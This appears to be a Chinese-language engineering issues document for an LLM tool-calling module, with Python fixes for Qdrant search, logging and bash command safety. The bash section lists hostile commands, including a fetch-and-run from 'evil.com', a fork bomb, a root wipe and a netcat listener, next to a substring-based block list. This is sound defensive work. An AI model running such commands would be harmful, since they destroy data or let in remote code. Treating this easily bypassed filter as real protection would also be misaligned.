# Tool Calling Module 問題及解決方案

**Version**: 1.1  
**Date**: 2026-07-26  
**Doc Path**: `/Users/accusys/momentry_core/scripts/TOOL_CALLER_ISSUES.md`  
**相關檔案**:
- 核心模組：`/Users/accusys/momentry_core/scripts/tool_caller.py` (v1.1.2, 720+ 行)
- 測試腳本：`/Users/accusys/momentry_core/scripts/test_tool_caller.py`
- 使用說明：`/Users/accusys/momentry_core/scripts/TOOL_CALLING_README.md`

---

## 修復狀態：✅ 所有問題已修復

| 問題 | 修復內容 | 狀態 |
|------|---------|------|
| Multi-Tool 測試失敗 | 增加 embedding server 健康檢查、修正 API 端點 (`/v1/embeddings`) | ✅ 已修復 |
| Bash 安全檢查不足 | 擴充至 20+ 危險模式、限制命令長度 2000 字元 | ✅ 已修復 |
| 缺少工具調用日誌 | 新增 logging 模組，記錄所有工具調用 | ✅ 已修復 |
| Qdrant Collection 硬編碼 | 使用 `QDRANT_DEFAULT_COLLECTION` 環境變數 | ✅ 已修復 |

---

## 測試結果

| 測試 | 狀態 | 說明 |
|------|------|------|
| [TEST 1] PostgreSQL Query | ✅ | 23 videos |
| [TEST 2] Bash Safety Check | ✅ | 3/3 危險命令被阻止 |
| [TEST 3] Qdrant Search | ✅ | 10 matches found |

---

## 問題 1：Multi-Tool 測試失敗

### 現象

```
TEST 2: Multi-Tool Sequential (PostgreSQL → Qdrant)
Query: Find videos about dogs, then search for similar content in the vector database
Result: An error has occurred. I'm unable to continue with the task.
```

### 原因分析

1. **Embedding Server 未檢查可用性**
   - `search_qdrant` 工具直接呼叫 `http://localhost:11436/embed`
   - 未檢查 embedding server 是否運行
   - 失敗時未提供明確錯誤訊息

2. **Qdrant Collection 可能不存在**
   - 預設 collection 名稱 `momentry_rule1` 可能與實際部署不符
   - 未列出可用 collection 供 LLM 參考

3. **錯誤處理不完善**
   - 工具執行失敗時，LLM 收到模糊錯誤訊息
   - 未引導 LLM 嘗試其他方法

### 解決方案

#### 1.1 增加服務可用性檢查

**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`

```python
def search_qdrant(args: Dict[str, Any]) -> ToolResult:
    import requests as req
    
    collection = args.get("collection", "momentry_rule1")
    query_text = args.get("query_text", "")
    limit = args.get("limit", 10)
    
    if not query_text:
        return ToolResult(success=False, data=None, error="No query text provided")
    
    # 檢查 embedding server
    try:
        embed_health = req.get("http://localhost:11436/health", timeout=5)
        if embed_health.status_code != 200:
            return ToolResult(success=False, error="Embedding server not healthy")
    except requests.exceptions.ConnectionError:
        return ToolResult(success=False, error="Embedding server not available at http://localhost:11436")
    
    # 取得 embedding
    embed_url = "http://localhost:11436/embed"
    try:
        embed_resp = req.post(embed_url, json={"input": query_text}, timeout=30)
        embed_resp.raise_for_status()
        embedding = embed_resp.json()["embeddings"][0]
    except Exception as e:
        return ToolResult(success=False, error=f"Embedding failed: {str(e)}")
    
    # 檢查 Qdrant collection
    qdrant_url_base = args.get("qdrant_url", "http://localhost:6333")
    try:
        collections_url = f"{qdrant_url_base}/collections"
        coll_resp = req.get(collections_url, timeout=10)
        coll_resp.raise_for_status()
        collections = [c["name"] for c in coll_resp.json().get("result", {}).get("collections", [])]
        if collection not in collections:
            return ToolResult(
                success=False,
                error=f"Collection '{collection}' not found. Available: {', '.join(collections)}"
            )
    except Exception as e:
        return ToolResult(success=False, error=f"Qdrant connection failed: {str(e)}")
    
    # 執行搜尋
    search_url = f"{qdrant_url_base}/collections/{collection}/points/search"
    search_payload = {"vector": embedding, "limit": limit, "with_payload": True}
    
    try:
        search_resp = req.post(search_url, json=search_payload, timeout=30)
        search_resp.raise_for_status()
        results = search_resp.json().get("result", [])
    except Exception as e:
        return ToolResult(success=False, error=f"Search failed: {str(e)}")
    
    return ToolResult(
        success=True,
        data={
            "matches": [
                {"id": r.get("id"), "score": r.get("score"), "payload": r.get("payload", {})}
                for r in results
            ],
            "match_count": len(results)
        }
    )
```

#### 1.2 改進錯誤處理

**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`

```python
def run(self, user_query: str) -> str:
    # ... 現有程式碼 ...
    
    # 執行工具
    tool_result = self.execute_tool_call(tool_call)
    
    # 改進錯誤訊息
    if tool_result.success:
        result_str = json.dumps({
            "success": True,
            "data": tool_result.data
        }, ensure_ascii=False, cls=DateTimeEncoder)
    else:
        result_str = json.dumps({
            "success": False,
            "error": tool_result.error,
            "suggestion": "Try a different tool or rephrase your query."
        }, ensure_ascii=False)
    
    messages.append({"role": "user", "content": f"Tool result: {result_str}"})
```

---

## 問題 2：Bash 安全檢查不足

### 現象

```python
blocked = ["rm -rf /", "mkfs", "dd if=", "> /dev/"]
```

### 風險分析

| 危險命令 | 是否阻止 | 風險等級 |
|---------|---------|---------|
| `rm -rf /` | ✅ 是 | 🔴 高 |
| `sudo rm -rf /` | ❌ 否 | 🔴 高 |
| `chmod 777 /etc/passwd` | ❌ 否 | 🔴 高 |
| `curl http://evil.com | bash` | ❌ 否 | 🔴 高 |
| `:(){ :|:& };:` (fork bomb) | ❌ 否 | 🔴 高 |
| `nc -l 4444` | ❌ 否 | 🟡 中 |

### 解決方案

**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`

```python
def execute_bash(args: Dict[str, Any]) -> ToolResult:
    command = args.get("command", "")
    timeout = args.get("timeout", 30)
    
    if not command:
        return ToolResult(success=False, data=None, error="No command provided")
    
    # 限制命令長度
    if len(command) > 2000:
        return ToolResult(success=False, error="Command too long (max 2000 chars)")
    
    # 更完整的安全檢查
    blocked_patterns = [
        # 檔案系統破壞
        "rm -rf /", "rm -rf /*", "mkfs", "dd if=", "> /dev/",
        # 權限提升
        "sudo ", "su -", "chmod 777", "chown root",
        # 遠端執行
        "curl | bash", "curl | sh", "wget | sh", "wget | bash",
        "curl http", "wget http",
        # 拒絕服務
        ":(){", "fork", "kill -9 1",
        # 網路監聽
        "nc -l", "netcat -l", "socat",
    ]
    
    command_lower = command.lower()
    for pattern in blocked_patterns:
        if pattern in command_lower:
            return ToolResult(
                success=False,
                data=None,
                error=f"Blocked dangerous command pattern: {pattern}"
            )
    
    # 執行命令
    try:
        result = subprocess.run(
            command,
            shell=True,
            capture_output=True,
            text=True,
            timeout=timeout
        )
        return ToolResult(
            success=result.returncode == 0,
            data={
                "stdout": result.stdout[:5000],  # 限制輸出大小
                "stderr": result.stderr[:2000],
                "returncode": result.returncode
            }
        )
    except subprocess.TimeoutExpired:
        return ToolResult(
            success=False,
            data=None,
            error=f"Command timed out after {timeout}s"
        )
```

---

## 問題 3：缺少工具調用日誌

### 現象

工具調用過程無日誌記錄，難以除錯和審計。

### 解決方案

**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`

```python
import logging

# 設定日誌
logger = logging.getLogger('tool_caller')

class OllamaToolCaller:
    def run(self, user_query: str) -> str:
        logger.info(f"Starting tool call loop for query: {user_query}")
        self._tool_call_history = []
        
        messages = [
            {"role": "system", "content": self.system_prompt},
            {"role": "user", "content": user_query}
        ]
        
        tool_results_collected = []
        
        for iteration in range(self.max_iterations):
            logger.info(f"Iteration {iteration + 1}/{self.max_iterations}")
            
            # 呼叫 LLM
            response = self.chat(messages)
            message = response.get("message", {})
            tool_calls = message.get("tool_calls", [])
            
            if not tool_calls:
                # 檢查文字中的工具調用
                extracted = self._extract_tool_from_text(message.get("content", ""))
                if extracted:
                    name, params = extracted
                    tool_key = self._get_tool_key(name, params)
                    
                    if not self._is_duplicate_call(tool_key):
                        self._add_to_history(tool_key)
                        logger.info(f"Executing tool: {name} with args: {params}")
                        
                        tool_call = {"function": {"name": name, "arguments": params}}
                        tool_result = self.execute_tool_call(tool_call)
                        
                        if tool_result.success:
                            logger.info(f"Tool succeeded in {tool_result.execution_time_ms:.1f}ms")
                        else:
                            logger.error(f"Tool failed: {tool_result.error}")
                        
                        # ... 繼續處理 ...
        
        logger.info(f"Tool call loop completed after {iteration + 1} iterations")
        return final_answer
```

---

## 問題 4：Qdrant Collection 名稱硬編碼

### 現象

```python
collection = args.get("collection", "momentry_rule1")
```

### 風險

Collection 名稱可能與實際部署不符，導致搜尋失敗。

### 解決方案

**檔案：** `/Users/accusys/momentry_core/scripts/tool_caller.py`

```python
import os

def register_default_tools(self, db_url=None, qdrant_url=None):
    """Register default tools with connection strings"""
    
    # 使用環境變數
    default_collection = os.environ.get(
        "QDRANT_DEFAULT_COLLECTION",
        "momentry_rule1"
    )
    
    def search_qdrant(args: Dict[str, Any]) -> ToolResult:
        collection = args.get("collection", default_collection)
        # ... 其餘程式碼 ...
    
    self.registry.register(
        name="search_qdrant",
        description=f"Search for similar vectors in Qdrant collection. Default collection: {default_collection}",
        parameters={
            "type": "object",
            "properties": {
                "collection": {
                    "type": "string",
                    "description": f"Qdrant collection name (default: {default_collection})",
                    "default": default_collection
                },
                # ... 其餘參數 ...
            },
            "required": ["query_text"]
        },
        executor=search_qdrant
    )
```

---

## 測試驗證

### 執行測試

```bash
cd /Users/accusys/momentry_core/scripts
python3 test_tool_caller.py
```

### 預期結果

| 測試 | 預期狀態 | 說明 |
|------|---------|------|
| TEST 1: Single Tool | ✅ 通過 | PostgreSQL 查詢正常 |
| TEST 2: Multi-Tool | ✅ 通過 | PostgreSQL → Qdrant 順序執行 |
| TEST 3: Direct Tool | ✅ 通過 | 直接工具執行正常 |
| TEST 4: Bash Safety | ✅ 通過 | 危險命令被阻止 |

---

## 版本資訊

| 版本 | 日期 | 說明 |
|------|------|------|
| 1.0.0 | 2026-07-26 | 初始版本，記錄已知問題及解決方案 |